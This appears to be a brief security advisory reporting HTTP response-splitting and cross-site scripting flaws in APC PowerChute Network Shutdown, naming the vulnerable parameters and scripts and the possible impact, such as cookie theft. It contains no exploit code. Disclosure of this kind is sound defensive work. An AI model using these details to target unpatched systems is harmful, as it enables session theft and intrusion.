APC PowerChute Network Shutdown HTTP Response Splitting and Cross-Site Scripting (XSS) Vulnerabilities

APC PowerChute Network Shutdown is prone to an HTTP-response-splitting vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust. The HTTP-response-splitting vulnerability is found in the "page" parameter of the "contexthelp" script, while the XSS vulnerability is found in the "referrer" parameter of the "applet" script.
